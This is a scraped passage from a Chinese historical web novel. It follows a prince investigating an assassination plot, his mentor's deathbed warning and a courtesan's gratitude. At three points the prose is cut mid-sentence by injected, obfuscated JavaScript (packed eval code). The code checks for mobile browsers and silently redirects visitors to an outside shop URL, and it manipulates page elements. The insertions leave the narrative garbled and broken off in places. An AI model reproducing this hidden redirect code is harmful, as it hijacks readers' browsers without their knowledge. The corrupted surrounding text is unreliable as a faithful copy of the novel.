得到荀婉婉的确定后,冷逸尘心中的愧疚才稍稍减一些。他叮嘱道:“你们一行换些别的衣服,免得引来危险。” “咱们长右山与世无争,并无仇敌,哪里就危险了。” 冷逸尘笑了笑,是他这段时间的经历让他太过敏感了。又问道:“你们一行几人?” “我们这一路有五人,高荀师兄带四人走另一条路。” “如此甚好。” 二人又聊了些山上其它的事,不知不觉已是月至中天。 荀婉婉说道:“我们明日便由此西行,应与师兄不同路。今日这一别,不知再见会是何时,师兄保重。只可惜今日没机会见到弟妹了。” “有缘自会相见。保重。” 随后二人各自道别。 回去的马车上,冷逸尘一直在想一句话:过自己想要的生活。这太难了。 自下了长右山,他便不能左右自己的生活,日日小心翼翼,防了这里防那里。来了燕北这偏僻之地,虽然军务繁忙,却也不用端起十二分小心来应对各种人和事。 印象中的师傅总是不苟言笑,教育严苛,可他却是最是尊重人别人意愿的人。所以他下山,师傅虽有遗憾但也未阻拦。他心中感慨:长右山啊长右山,我何时才能回到你哪里! 回到府衙,二人自侧门而进,自有侍卫在里面接应。到了住处,见屋里灯亮着,泽生幸灾乐祸:“夜深不归,殿下想想该如何跟公主交待吧。” 冷逸尘叮嘱:“今夜的事不许外传,长右山之事,不得让人知晓。” “那属下会不会被灭口?”泽生又开玩笑。 冷逸尘笑着摇摇头。不过泽生的玩笑,倒是缓解了他的伤感。 叶岚正在冷逸尘房中踱步。见冷逸尘进来,便奔上前查看冷逸尘是否受伤,焦急的问:“你去哪里了?侍卫不让我出去,我又不敢问他们,不知道谁能相信,泽生也不在。” 冷逸尘没有想到,只是一会未见,叶岚竟如此担心,解释道:“我去见了师姐,看你睡的熟,就没叫醒你。与师姐许久未见,多说了几句话,回来晚了。是我不好,让你担心了。” 叶岚拉着他的手,十分不安:“这段时间发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶岚转头拭了泪,接过药,说道:“等他醒来喝完药,我再回去。” “属下就在门外,公主有事叫属下。”泽生说罢行了一礼,便出去了。 叶岚看着冷逸尘此刻睡的安稳,不忍叫醒他。摸了摸药碗,还有些烫,正好晾一晾。 她伏在床边看着冷逸尘,越看越心疼。她转头擦眼泪,余光却瞥见冷逸尘看着她。 叶岚放开了他的手,正了正神色,说道:“你醒了,什么时候醒的?” “泽生进来的时候就醒了。” “那怎么不告诉我?” “我怕……你走。” 叶岚讶然,他竟然当真了。“我不走,把药喝了。” 没想到冷逸尘竟然还担忧的问:“喝了药也不走?” 叶岚看着他的孩子气,无奈哄道:“喝了药也不走!”她端起药碗,尝了一口药,正好入口,之后一点点将药喂给他。 叶岚问道:“还疼吗?” 冷逸尘摇摇头。 “骗人,怎么可能不疼?” 冷逸尘抬手擦了叶岚的眼泪:“你不哭了,我就不疼了。” “还有心思开玩笑,可见是不疼了。那我也不必守着了。”说着起身要走。 冷逸尘忙伸手抓住她的衣袖,可这一动牵扯了伤口,他痛苦的哼了一声,血渐渐渗透了雪白的中衣。 叶岚慌了:“我去叫军医。” 冷逸尘忍着痛,说道:“不打紧,叫泽生进来上点止血药就好了。” 此时泽生正好又端进两碗药来,见此情景立即重新敷药包扎,说道:“军医说,殿下失血过多,需要好好休息,这一碗是补血的药、一碗是安神的药。” 冷逸尘只将补血的药喝了,安神的药放到了一边。他不想睡觉,只想和叶岚相守在一起。 此后,冷逸尘自是在府中休养,难得过了一段清闲的日子。 叶岚担心叶皓是否安全归国,冷逸尘便呈书至礼部,备述使团去祁还梁之事,并请礼部致书梁国使团,询问是否安全抵达。 24. 非战逝英雄 当叶皓接到祁国礼部的书信时,使团已快到达梁京。他立即停下队伍,写了回信交与来人。 队伍行至城郊十里亭,叶均已在此等候。 叶皓下马行礼,试探着叫了一声“三哥”。他虽信此前之事不是叶均所为,可心中终究还是有些疑虑。 未料,叶均一把拉住他说:“赶紧,随我走,师将军重病,只说想见你。” 叶皓听了心中大惊。 师将军,师云杰,梁国老将。是叶皓在军中的恩师。 师老将军戎马一生,去年才从边境上退下来,本该含饴弄孙,怎料天不假年。 二人快马至师将军府。引路的侍从回禀:“还好信王殿下赶回来了,将军已经等您好几日了。” 此时的师云杰已是须发皆白,不复往昔神采。去年老将军还策马驰骋,身姿矫健,未想仅仅几个月,竟衰老的如此迅速。叶皓心痛不已。 师将军艰难的抬起手,叶皓上前用双手握住,说道:“将军,我来迟了。” “殿下,您终于回来了。”他缓了一口气,对跪在外面的儿子说道:“师番,带人都出去。” 师将军儿子师番叩首应声,带着女儿师英玉和儿子师邦彦及一众人出去了。 待只剩他二人之后,师云杰开口道:“殿下,恕老夫僭越了。” “将军,晚辈承蒙您的教导才走到了今日,您是晚辈的恩师。有什么话请讲。” “老夫一生为国征战,从无二心。到老了却被朝堂定了‘贪污军饷’的罪名贬了回来,是在是心有不甘,这是老夫一生之痛。”说着闭眼深叹一口气。 “将军放心,我一定彻查此案,还将军一个公道。” 师云杰摇摇头,继续说道:“老夫此生问心无愧,留着一口气等殿下回来,只因有些事只能对殿下说。眼下重要的是,西南的杜卫和他的儿子杜绍之拥兵自重,恐为日后祸患。老夫被贬也是因为屡次上书此事,杜家暗中报复。虽然现在他父子二人看似谦卑有礼,实则狼子野心。如今圣上专宠杜家,只恐会养虎为患,望殿下劝谏。” 叶皓越听眉头蹙的越紧,他全神贯注,生怕漏掉师将军所说的每一个字。 师将军缓了缓,继续说道:“军中王怀、高沛、程旷都是忠君爱国之人,可为殿下所用。赵忠为老夫义子,他麾下十万大军也听从殿下调遣,此事老夫已交待与他了。还有殿下好友江源亦是可用之将。此事关乎我大梁千秋大业,还望殿下早做打算。”说罢,师将军咳了几声。 叶皓忙端起参汤喂了几口。 待平复后,师将军继续说道:“此事艰难,只恐朝中已有杜卫党羽,殿下需小心行事。我大梁不能再陷入动荡了……”师将军紧紧抓住叶皓的手,眼中充满了对他殷切的希望,但气息已是不均匀。 冷逸尘点头,说道:“将军放心,我定会彻查此事,保大梁安稳。” 得到回答,师将军长舒一口气,脸上的严肃变得柔和:“殿下……请回吧,老臣想见见孙儿们……” 叶皓知他已是回光返照,强忍心中悲痛,行了一礼,转身出去。 外面侍立的师家人皆进入。 叶皓立于廊下。俄顷风起云墨色,一声响雷过后,屋里传来哭泣的声音。 叶皓心中一沉,大雨忽然而至。 他默默地看着风雨飘摇,心中悲痛不止。 一女子来到他身旁,行跪拜大礼:“臣女师英玉,拜见殿下。” “师姑娘,节哀。起来说话。” 师英玉并未起身,而是说道:“臣女有不情之请,望殿下成全。” 叶皓并不看她:“何事?” “臣女愿随殿下去参军,除敌报国。” 叶皓低头看了她一眼,只见发髻上的玉簪:“保家卫国是男儿之事,不用你一女子担忧。” “祖父被贬,其中有冤。” “老将军之事,本王自会还他一个清白,请姑娘放心。” 师英玉见他不答应,再叩一首,说道:“殿下容禀。祖父一直希望有人能继承其衣钵。可我师家人丁稀疏,家父早年间伤了腿,陛下体恤,让家父领了个闲职。而幼弟尚小,终不能如愿。不瞒殿下,臣女此愿也有私心,一则了却祖父遗愿,二则为祖父昭雪,三则是想师家以后有个依靠。” 冷逸尘听完沉默一会,每个理由都很充分,他无法答应,也无法拒绝。 他选了个折中的回答:“你说的本王会考虑,待了却师将军的后事之后,再给你个答复。师将军可有何遗言?” “祖父遗愿:落叶归根,回乡安葬。” “家乡是哪里?” “亳州。” “路途不近,到时本王会派亲兵护送。这几日有什么需要帮忙的就着人到信王府。”说着拿出一块令牌交与她。 师英玉双手接过,再次叩拜:“多谢殿下。”说罢便告辞而去。 叶均已向师将军道别,表达哀思。此刻来寻叶皓,他说道:“去宫中向父皇覆命吧。抽空到我府上一趟。”说罢自去了。 叶皓不等雨停便出了师家,到礼部换了衣服,去宫中覆命。 未曾想,却未见到梁帝,中官只说将所奏之事写好奏章呈上即可。 叶皓跪太极殿外再三请求,中官只回禀:陛下身体不适,改日自会召见殿下。 叶皓还是很想见一见父亲,毕竟自己遇刺之事疑点颇多,有些事还是想当面与梁帝说一说。 于是在门外喊到:“请父皇准许儿臣侍疾。” 那中官急忙上前小声劝说:“诶呦!信王殿您下小些声吧。陛下刚服了药睡下了。殿下还是请回吧,内有荣贵妃侍疾,殿下放心。” 叶皓只得作罢,入后宫去见他母亲。 叶皓母亲惠妃久不见孩儿,拉着他的手不舍得松开。 当她听说叶皓遇刺之事时,急忙拉起叶皓左右看看,问道:“本宫竟一点消息也不知道!可伤到了何处?” “儿臣无碍。只是秦羽他为保护儿臣,身亡了。” 惠妃听惋惜道:“秦羽自幼便跟着你,这么好的孩子真是可惜了。你定要好生料理他的身后之事。” “母妃放心,儿臣自会安排。听闻父皇病了,母妃可知是如何了?” 惠妃又是惊讶,问道:“你也没有见到陛下?” “怎么?父皇到底怎么了?” “本宫也是好久未见了。这两个月来,陛下便一直身体不好,都是荣贵妃侍疾。听闻别的宫妃也去探望,都没有见到。” “父皇可还见朝中大臣。” 惠妃摇摇头:“后宫不得干政。” 叶皓觉得此事有些蹊跷,一时沉默。 惠妃不便谈论朝政,换了个话题:“你封王已有几年,早该立正妃了。当初本宫答应你,等你有了心仪的人便为你去操办。如今怎样呢?” 叶皓听闻母亲催婚,便说道:“让母妃如此忧心,是儿臣的罪过。但今日师老将军过世了,老将军对儿臣有教导之恩,儿臣想帮师府操办葬礼。再者,儿臣遇刺之事尚未查清,秦羽后事也未了。婚姻之事实在不宜提起,还望母亲见谅。” 惠妃也未强求,只是点点头,说道:“我儿重情重义,便由你吧。” 叶皓出来时雨已经停了,阳光在大朵的云间明明灭灭。石板路上的小水洼反射着耀眼的光芒,刺得人睁不开眼睛。 叶皓仔细想想,已是好久没见到父皇了。有多久呢?上次见面还是新年宫宴上。可开席不久,走完流程、各方敬酒完毕,他父皇就推脱不胜酒力早早回去休息了,元宵节宫宴他已身在荆门。 这多半年来,他也多次写奏表,或汇报公务、或问安,偶尔也有回复,但总觉得有些回复不似从前。 叶皓漫步登上了宫墙的最高处。天空湛蓝,白云被风吹着动,以肉眼可见的速度向西南方漂移。 他望着这一片宫城:或许只有站的够高,才能看的更透彻。 回去时,他习惯性的叫了声“秦羽”。可这次再无人回应,孤独感油然而生。 此刻,他下定决心:秦羽之仇要报,大梁要救,不管付出什么样的代价。 他心中郁结,一时难解,出宫后便独自骑了马去找江源。到了江家门口,还未下马,江源也骑马而至。 叶皓问:“你怎也才回来?” “刚从师府回来,正想着明日去找你商量秦羽的事,不料你先来了。” “你家里可有酒?” “同殿下一样,我常年不在家,吃食估计都未备。” “走吧,翠微阁。”叶皓撩衣上马,江源紧随。 进了翠微阁,老板即刻迎了上来,说道:“殿下,有失远迎,有失远迎。锦瑟姑娘昨日还念叨,许久未见殿下了。说等殿下来了,必要过来为殿下抚琴一曲。可巧今日就来了。” 叶皓疑惑:“锦瑟?哪个锦瑟?” “殿下真是贵人多忘事,就是我们翠微楼的花魁,锦瑟姑娘啊,一年前刚来京中。”老板又压低了声音:“琴技一流,人也是绝色。” 叶皓也不管,只说道:“那好啊,让她过来抚琴。” 老板称是,立即去请锦瑟。 江源久不在京中,对于这些事从不关心,但是却也听说过这锦瑟姑娘。 他感慨道:“殿下可真是好人缘。听闻这锦瑟姑娘可不一般,多少人都排着队想见一面都难。” “但既然江兄都听说过她,想必也是才貌双全。”叶皓说道。 “她可是冲殿下你来的。莫非她与殿下有旧?不然怎会对殿下如此念念不忘。” 叶皓摇摇头:“不记得了。” 二人选了个临河的雅间,帷幕落下,倒是个清静之地。叶皓凭栏而立感叹道:“师将军故去,真是惋惜。” “师将军回来后,一直心中郁郁。不想这么快就离世了。若知他病的这样重,回来时我就应与殿下同去。”江源没有见到老将军最后一面,很是遗憾。 “老将军是真正的戎马一生。”叶皓说罢斟了一杯酒撒进了水中,“将军被贬之案,疑点颇多,而且定案草率。你可知道其中缘由?” “我也了解不多,只听赵忠说过,将军自己揽过罪责,保下了一众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073868|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将领。” “待处理完眼下的事,你同我再去兵部调出此案宗看一看。” 江源思忖了一会儿,说道:“去调卷宗,不如去问赵忠。” 谈话间,只听见敲门声,二人遂停止了谈论,于席间落座。 少倾,酒菜俱备,锦瑟亦抱琴而入。 只见锦瑟身着一袭翠色罗裙,面覆水色薄烟纱,不见真容,只见眉若远山含黛,眸似秋波婉转。 她对二人施礼后坐定,玉手轻挑银弦,琴音委婉连绵,有如山泉从幽谷中蜿蜒而来,缓缓流淌。 一曲终了,叶皓赞道:“许久未闻京中雅乐,竟长进了不少。听老板说姑娘认识本王,姑娘何时来的京中?怎会认得本王?” “殿下还记得两年前,洪汝河上的锦瑟吗?” 叶皓一时间记不起来,便说道:“请姑娘明示。” 锦瑟起身跪拜于叶皓身前,双手递出一白银色剑穗。 这世间剑穗分三色:赤金色,乃皇室成员佩剑专用;黄金色,在朝官员配剑专用;白银色,为民间配剑所用。 叶皓当时行走江湖,便只配了百银色的剑穗。剑穗普通,但剑穗上坠的一块玉却是上上品。 叶皓看见剑穗便想起来当年之事。 彼时叶皓带秦羽四处延医问药。行至秦淮,多逗留了几日。 一日傍晚,二人漫步于洪汝河畔,听得一画舫中传出琴声,颇为婉转哀怨。 登船拜访,抚琴之人便是锦瑟。叶皓一时兴起,便也弹奏了一曲。 那时叶皓就觉得这个姑娘的技艺出众,便夸赞了几句:姑娘琴技出众,远胜京城中的技艺。 锦瑟敬了杯酒给叶皓,叶皓见她手臂上有伤,便问了缘由。 锦瑟双眼含泪一时难言,只低声说:“此地偏僻客少,画舫的妈妈逼奴家接客,奴家未从……” 叶皓一听便知缘故,掏出一瓶药膏置于案琴边,说道:“这是消肿祛疤药膏,姑娘收好,女儿家不要留疤才好。” 叶皓身无长物,便摘下剑穗相赠:“这剑穗上的玉石值些银子,可解姑娘一时之困。” 锦瑟感激不尽,钱财是次要,让她暖心的是有人关心她的伤,关心她会不会留下疤痕。未及道谢,叶皓已走。 她出船相送,烟雨朦胧中,只见叶皓白衣青伞,立于拱桥最高处回望。 此后,翩翩少年郎,令锦瑟朝思暮想。可天下之大,哪里再去找他。凭借他的只言片语,只猜测他是京城之人。 后来,锦瑟漂泊辗转,于一年前来到梁京翠微楼。可巧了,几个月后便看见了叶皓,那时才知他是皇室亲王。 叶皓接过剑穗,也想起当年之事。 锦瑟叩首:“当年之事,还未感谢殿下。” “举手之劳,何劳姑娘记挂至今。” “于殿下是举手之劳,于锦瑟却是救命之恩。奴家来梁京,也是……为了能再见恩人一面。锦瑟再为殿下弹奏一曲,以谢当年之恩。” 叶皓知今日不宜作乐,将剑穗还给锦瑟,说道:“我与友人多日未见,今日在此叙旧。改日定专门请姑娘一起品鉴琴曲。” 锦瑟接过剑穗,小心收好,叩首道:“既然殿下与友人相聚,那锦瑟便不打扰了,锦瑟告退。”说罢抱琴而去。 江源摇头轻笑。 叶皓不解:“你笑什么?” “哦,没什么,锦瑟姑娘好眼光。” 叶皓未理会,只说到:“秦羽的灵柩如何安排了?” “我本来明日想去找你说此事。今日去兵部交接完,我便去了秦家。秦家将灵柩暂时停于祠堂,秦家族长想择日下葬。可族中其他人却有异议,说秦羽未婚,不宜入祖上坟茔,况且……”江源欲言又止,看了看叶皓。 “况且什么?但说无妨。” “说秦羽横死,恐对子孙不利。” 叶皓将酒杯重重放在桌上,气愤道:“荒谬。秦羽为护我而死,如此忠肝义胆,怎么就容不下。我明日便请旨追封,令择墓地。” “只怕那时族人就不是这套说辞了。还有云琴,她没有地方去,暂时安排到我家了。” ”她没回成王府?“ ”没有,她说对成王妃有愧,有负王妃嘱托,没有脸面再回王府。她与秦羽尚未成婚,秦家亦不收留。她在京也没有什么亲人,我又着急去师将军那里,只好将她安排在我家里。“江源了顿,问道:“你与成王见面可说什么了?” 今日诸事繁多,叶皓头中似一团乱麻:“尚未。今日先不说其它事了,咱们只管喝酒。一醉方休。” 此间,叶皓饮了两壶酒,已是醉意微醺。 而江源却一滴未沾,他劝道:“殿下少喝些吧。” “今日你不要劝我。”说罢直接拿过江源的酒壶起身来到栏杆边,心中郁结。 他指着河边的青楼画阁,绣户珠帘说道:“你看这梁京中,金翠耀目,罗绮飘香。他们可知如此繁华背后有多少人付出了生命……” 又一壶酒下肚,叶皓醉的厉害。江源只得雇了软轿将叶皓送回信王府,他则骑马相送。 25. 草动寻蛇影 第二日,叶皓醒来,只觉头疼欲裂,反应了好一会才发现在自己的寝殿内。 江源正坐在桌前喝茶,见他醒来,便端了一杯给他,说道:“昨日的酒,名曰‘相思’,后劲大的很。殿下可知自己喝了几壶?” 叶皓扶着额头记不起来,反问道:“你怎么没事?” “我没喝。我早说过,自入了军营,就很少饮酒了。” “你昨夜没回去?” “殿下醉成这样,硬拉着我不让走,还说要带我上山,去找婉婉。殿下人缘可真是好,刚去了一个锦瑟,又来了一个婉婉,这婉婉又是谁?” 叶皓倒是一点也想不起来了,大约是梦里又回了一趟长右山,他拍拍头说:“昔日故交。她与别人不一样。” 江源也不深究,说道:“殿下还是先处理秦羽事吧,那云琴住在我家,我就只能一直住在你这里。” “你等我清醒清醒再说。”叶皓用拳捶了捶头。 “我去书房等殿下。” 叶皓沐浴更衣后,方觉头脑清醒了一些。匆匆用了些膳食,便去书房找江源。 不多时,侍从来报:文辉求见。叶皓命人将其带入。 三人见礼后,入座饮茶。 文辉说出自己的疑惑:“殿下遇刺后,臣审问那刺客,本以为要费一番功夫,没想到他很快就招供了。后来又得知祁国那两位殿下遇刺之事,只觉这事有些过于简单了。” 此事江源在回来的路上已知道了个大概。 事发突然,文辉也察觉到其中的蹊跷。叶皓不知他的疑惑所在,便问道:“此话怎讲。” “我怀疑刘旺是故意这样招供的。那秘制的毒药,其他两名刺客身上各有一颗,刘旺却没有,会不会是故意要留下一个活口?” 江源问:“你的意思是幕后主使有意留下活口,将此事嫁祸于成王殿下?” 文辉点头:“是的。而且那日昭阳公主也探出刘旺与成王殿下并不相熟。” 叶皓见二人想法与他一致,便将此前的猜测说出:“此事发生在祁国,若行刺成功,不仅离间了我与兄长的关系,还挑拨了梁、祁两国关系,真可谓是一箭双雕。可究竟会是谁在搅弄是非?” 他想了想,继续问文辉:“你为何突然回到礼部,与我同去祁国?” 文辉叹了口气:“在青州时,与青州首富陈家树了敌。陈家仗着与西南杜家有些亲戚,便胡作非为,危害一方。我出手整治,奈何陈家在青州根基深厚,处处与我作对,以我妻儿、妹妹性命相威胁,我只得权宜之计辞了青州之任,调回礼部任了个小职。我自是难咽这口气,暗中搜罗周家证据,只是刚刚开始,便被派去与殿下出使祁国了。” “杜家,可是杜卫?” 文辉言语中带着些愤恨:“除了他,还能有谁。” “又是他。”叶皓自言自语道。 江源与文辉不解的互看一眼。文辉问他:“殿下此话何意?” “师将军被贬也应与杜卫有关。”叶皓想了想只说了这一句。因他对文辉还有些顾忌,其他事不便深说。 江源有些疑惑:“怎么事事都与杜卫有关,这杜卫盘踞西南多年,势力不容小觑。杜家执掌兵权这么多年,莫不是朝中有人庇佑?” 文辉道:“很早以前,我听家中女眷们谈论过,荣贵妃娘娘是杜卫之妹。” 叶皓年少离宫,不知这些事,也未关心过这些后宫之事。江源出自军旅,更是不知后宫之事。 叶皓听了一个恍惚,立即想起来昨日之事:梁帝身边一直是荣贵妃侍疾。 荣贵妃和杜卫……一个不好的念头在他心中闪过:行刺之事会不会也是杜卫。 他决定去见一见叶均。但去之前他决定先打一下草,看看有没有蛇,会是一条什么样的蛇。 于是,叶皓转向文辉,说道:“文辉,你在礼部,秦羽追封的奏折就劳烦你来替我写吧。” 文辉道:“殿下客气,秦小将军之事本就是礼部份内之事。” 他又转向江源,说道:“江源,等我写完这奏书,你与我同去大营一趟。”说罢,自去书案前写奏折,欲送师将军灵柩还乡。 文辉本应告退,可却未起身,似有话要说。 叶皓问道:“还有何事?” 文辉看了看江源,似乎不便启齿。 江源欲回避,叶皓却道:“但说无妨。” 文辉从袖中掏出一封信:“舍妹文瑶,托臣将此信转交于殿下。” 听闻此言,江源暗笑,心中感慨:桃花还真是开了不少。 叶皓直接回绝:“我早就与你说明了,我无意于令妹。辜负了她一片深情,我在此赔罪。还望见谅。” 文辉此举亦是为难,奈何她妹妹执意如此。见叶皓如此坦白拒绝,他亦坦然说道:“家妹仰慕殿下,痴心不改,反倒是让殿下自责了,罪过罪过。臣回去自会规劝。告辞。” 待文辉走后,江源揶揄道:“殿下这是招惹了多少姑娘家?” “这次可不是我,江兄不要调侃我了……说正事,师将军临终前与我说了恐杜卫造反一事,我原以为杜卫只是在西南拥兵自重。祁国行刺一事恐与白高国有关。而今又与朝堂、后宫有所牵扯,那么此事就十分不简单了。” 他拿出一块令牌交于江源:“你拿着我的令牌去调阅师将军的案宗,不要什么结果,只是以我的名义去查,我倒要看看会不会有人继续对我动手。” 江源正色听着。谈话到此处,他已然明了叶皓想要做什么,他也隐约感到事情的严重性,也意会到叶皓未当着文辉安排这些事,恐怕已是草木皆兵。 江源称是告辞,临去时,想起叶岚交于成王妃的信还在他这里。便将信交与叶皓,说道:“昭阳公主这信由我来转达多有不便。” 叶皓接了过来:“我来处理吧。” 江源走后,叶皓细细回想了这段时间发生的事,还是有很多疑惑,最疑惑的是:发生了这么多事,难道父皇和朝廷就没有察觉?这奏折写不写已没有什么必要,若真是朝中有人针对他,绝不会在京中动手,定会将他调离此处。 他放下笔,直奔成王府。 叶均未在家,叶皓在他家用了午膳。他将叶岚写的第一封信交与夏萱,说道:“这是秦羽与云琴定亲后,暖暖写给嫂嫂的。” 说着又将第二封递给夏萱,继续说道:“这是秦羽出事后,她又写的第二封。云琴扶柩而归,说是无颜来见嫂嫂,也无处可去,现在被江源安排在了他家里。” 夏萱看过信后,面有愠色,说道:“当时我让云琴随暖暖同去,便是要她照应暖暖,没想到她会生出这么多枝节来。不必让她来见我了,她的身契和籍契我自会派人送到江府归还于她。以后她要怎样就随她去吧!” 夏萱将信收起来,又问道:“暖暖可好?” 叶皓和她详细说了叶岚之事,最后道:”一切都好。咱们收到的那封信是她寄于她夫君的。这是个误会。” 夏萱听了,心中生悲,说道:“她终究还是活成了姨母的样子,事事只知逃避。异国他乡,可如何是好。” 夏萱叹了口气继续说道:“一个误会便生出这么多事非来。若是你没去,又怎会遇险。行刺之人可查到是谁了吗?” 叶皓摇摇头。看样子,夏萱并不知道此事。他反劝慰夏萱:“嫂嫂不用担心暖暖,她夫君真心待她,而且她现在燕北,远离祁京,过得很是自在。” 夏萱这才稍稍放心,不过还是担忧:“但愿这真心能长久……” 说话间,叶均已归。夏萱借口处理云琴的事出去了,书房之中只剩下他兄弟二人。 “此行遇刺可伤到哪里?”叶均问道。 “没有,这个你看过了吗?”说完将刘旺的供词递给了叶均。 叶均接过看了一遍,微微皱眉,面不改色的说道:“你可相信?” 叶皓自己倒了一杯茶:“我若是信了,今日还会来见你吗?事发突然,秦羽身故。刺客一口咬定受你指使。后来暖暖以身涉险,找出了刺客的破绽。” “怎么回事?她可有受伤?” 叶皓又将当日之事讲了一遍,最后说:“没有受伤,只是受了些惊吓。这事我没告诉嫂嫂,免得她又要担心。” “暖暖行事一向稳重,怎么会以身犯险。” “那在你面前装的稳重!她不相信此事,急于求个真相。” 叶均恍然意识到原来是自己对她太严苛了。 叶均有些疑惑:“这中间竟有这样曲折。我看到兵部的奏报,只说你遇刺,秦羽身亡,刺客皆被击毙。为何写的如此简单?” “此事多有蹊跷,其中缘由还不甚明白。那刺客对朝中之人、之事了解颇多。我恐惊动幕后之人,便未将实情写出。” “你怀疑是谁?” 叶皓没有直接回答,只是问道:“最近朝中可还稳定?” 叶均 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶皓终于确认了内外勾结这件事,他开诚布公:“他无非就是用储位这点事情来挑拨你我,他是低估了你我二人的兄弟情谊。” “自古储位之争,哪个不是用自己兄弟的鲜血铺路。骨肉至亲,惨遭屠戮,我叶均不是这样人。今日便在此与你说明,我无意于帝位,他日你若继位,我便去守皇陵。” “三哥,不必如此。今日我也言明,我此生只向往江湖之远,这庙堂之高我待的太累了。若不是战乱四起、匪患丛生,我也不会在沙场久留。现在,你我二人心意已明,不可再有怀疑。如今之势,你在朝、我在军,你我联手,要保大梁安稳。他们此举既然是为了离间你我,那……” 叶均接过话:“那我们就给他们演一出兄弟阋墙。看看他们会有什么动静。” 说完二人默契的互相看了一眼,点头示意。 叶皓辞别叶均,回到王府,江源已到他府中。 叶皓问道:“怎么?今晚又住我这?” “没办法,我回不去。今日殿下交代的事情都办好了。” “好,只看明日会有什么动静。”叶皓看了看天色,继续说道:“我这里也没什么佳肴款待你。走,出去喝两杯。” 江源制止,又调侃道:“有什么吃什么吧!殿下一出去又要惹得桃花满城了。” 叶皓无奈一笑,也不解释,着人去备膳食了。 晚膳后,叶皓与江源大致分析了一下现在的局势。 现在一切之事都指向杜卫,但却没有确凿的证据。给朝廷的奏折里虽然没写遇刺的详情,但押送刘旺当日,围观之人颇多,杜卫一方肯定已知晓此事。 叶均、叶皓二人已商量好假装反目。此后,表面上看,杜卫的目的已经达到。那么下一步他会怎么行动? 叶皓分析有两种可能:第一,看兄弟二人争斗,他坐收渔翁之利;第二,拉拢一方,合力击败另一方,然后卸磨杀驴。 照目前的情况来看,杜卫未对叶均动手,或是想拉拢叶均。但第一种情况也不无可能。 叶皓感慨:“敌在明、我在暗。这场仗,注定艰难。” 江源为他分析:“殿下的筹码也不少。首先有成王殿下在朝中斡旋。第二,师将军为殿下留下了他的军队。乱世之中,得兵权者得天下。杜卫再势大,也只有西南一隅。殿下暗中将北部和东部兵权揽于手中,这便是胜券。我自会去西边,暗中筹谋。” 叶皓端起茶杯敬道:“这么多年来,我一直可以相信的只有江兄了,此茶,敬你。” 江源亦端起茶杯,说道:“殿下不必如此。我为的是家国安稳、天下无恙。”说罢将茶一饮而尽。 26. 琴音醉里愁 次日,秦羽追封的旨意下来了。秦家见了旨意,不好再说什么,安排了明日安葬。知道了消息,云琴握着那根金簪呆呆的坐了一天。 第二日清晨,云琴一身缟素,带着包袱来到信王府。 见到叶皓与江源二人,跪拜道:“云琴多谢殿下与将军的照拂之恩。今日前来拜别。” “你一介弱女子,将来要去哪里?”江源问道。 “奴婢还没想好,但天下之大,会有奴婢的安身之处。” “怎么不回成王府?”江源又问。 “奴婢因一己之私,有负成王妃所托,此为不忠;抛下公主独自归国,此为不义。不忠不义之人,无颜再见成王妃。” 叶皓说道:“成王妃已将你的身契籍契交还与你,主仆情分已尽,以后就由你去吧。本王这里有些秦羽的遗物,未交还给秦家,给你做个念想吧。” 云琴叩首。 叶皓继续说:“今日秦羽下葬,你随我们同去吧。” 云琴再叩首。 随后便有侍从引着云琴去拿遗物,是两身旧衣、腰间佩饰及束发玉冠。云琴视若珍宝,将东西整整齐齐的装在包袱里。 云琴与秦羽虽已订婚,但并非秦家妇,不得送葬,只能远远的跟在送葬队伍后面。 一路跟到墓地,远远的看着棺椁入土,看着土堆堆起,看着葬礼完毕,看着人群离开。她这才来到坟前。 此时,叶皓与江源亦未走。叶皓抚摸着秦羽冰冷的墓碑,才真真切切的感觉到了秦羽的离去,真真正正的阴阳两隔。他只觉一腔悲愤难抑,只想痛饮他几百杯。 他将手中的剑交给云琴:“这是他的佩剑,你留下吧。”他又转向江源说道:“我先走了。”说罢掀衣上马,去独自消化这悲伤。 入了城,叶皓命侍卫先回去,自己则信步而行,不知不觉竟走到了翠微楼。 还是上次的雅阁,他要了五壶“云梦”。这“云梦”之酒,绵柔醇厚,让人酒后有如坠云雾、如梦似幻之感,故而得名“云梦”。 老板本想劝解,叶皓却说只管上酒来。老板不敢违逆只得安排。 日落时分,柳枝拂岸,斜阳照水。如此美景,叶皓无心赏看,只是靠着栏杆坐着,一段回忆一口酒。 忽而琴声起,叶皓才发现锦瑟已坐在屏风外抚琴。 “谁让你进来的?”叶皓被打扰,有些不悦。 锦瑟停手,隔着屏风俯身行礼:“是奴家见殿下心中郁结,特来为殿下弹奏一曲。” 听琴解忧,叶皓冷冷的笑了一声:“你的琴,解不了本王的忧。” “殿下怎知奴家的琴解不了殿下的忧呢?奴家再为殿下弹一曲《卧龙吟》。” 叶皓冷声道:“换一曲《桐花落》。” 琴音如流水,寂雨抚蓑烟,逝者魂归处,桐花君不见。动情处,叶皓的腮边已不知是酒还是泪。 琴音断,叶皓也未觉。直至香软的手帕轻抚过他的脸颊,他才回过神来。他下意识一躲,身体便不由自主的向后倒,幸好他及时稳住。 “殿下小心。”锦瑟说着便想去扶他。 他喝的太多了,有些头晕,但未让锦瑟搀扶,只道了句:无妨。丢下酒壶,站起身来坐到了座位上。 锦瑟亦走过来坐到他右侧,为他倒了杯茶,双手奉上。 叶皓左手撑着头,右手接过杯子细细把玩。问道:“为什么要来京城?” 